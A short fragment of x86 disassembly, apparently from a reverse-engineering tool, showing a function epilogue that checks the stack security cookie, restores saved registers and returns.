mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1005989d
mov esp, ebp
pop ebp
ret